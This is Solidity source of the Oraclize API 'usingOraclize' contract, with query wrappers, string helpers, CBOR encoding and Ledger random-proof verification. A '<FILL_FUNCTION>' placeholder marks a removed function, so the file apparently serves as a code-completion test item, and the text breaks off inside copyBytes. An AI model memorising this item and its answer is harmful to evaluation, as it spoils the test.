contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) { } function oraclize_useCoupon(string code) oraclizeAPI internal { oraclize.useCoupon(code); } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes32 config) oraclizeAPI internal { return oraclize.setConfig(config); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, "", "", ""); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } using CBOR for Buffer.buffer; function stra2cbor(string[] arr) internal constant returns (bytes) { Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeString(arr[i]); } buf.endSequence(); return buf.buf; } function ba2cbor(bytes[] arr) internal constant returns (bytes) { Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeBytes(arr[i]); } buf.endSequence(); return buf.buf; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ if ((_nbytes == 0)||(_nbytes > 32)) throw; // Convert from seconds to ledger timer ticks _delay *= 10; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) // the following variables can be relaxed // check relaxed random contract under ethereum-examples repo // for an idea on how to override and replace comit hash vars mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes memory delay = new bytes(32); assembly { mstore(add(delay, 0x20), _delay) } bytes memory delay_bytes8 = new bytes(8); copyBytes(delay, 24, 8, delay_bytes8, 0); bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay]; bytes32 queryId = oraclize_query("random", args, _customGasLimit); bytes memory delay_bytes8_left = new bytes(8); assembly { let x := mload(add(delay_bytes8, 0x20)) mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000)) } oraclize_randomDS_setCommitment(queryId, sha3(delay_bytes8_left, args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(sha3(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(sha3(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = 1; //role copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) throw; _; } <FILL_FUNCTION> function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){ bool match_ = true; if (prefix.length != n_random_bytes) throw; for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ // Step 2: the unique keyhash has to match with the sha256 of (context name + queryId) uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); // Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1) if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; // Step 4: commitment match verification, sha3(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match delete oraclize_randomDS_args[queryId]; } else return false; // Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; // verify if sessionPubkeyHash was verified already, if not.. let's do it! if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) { uint minLength = length + toOffset; if (to.length < minLength) { // Buffer too small throw; // Should be a better way? } // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + 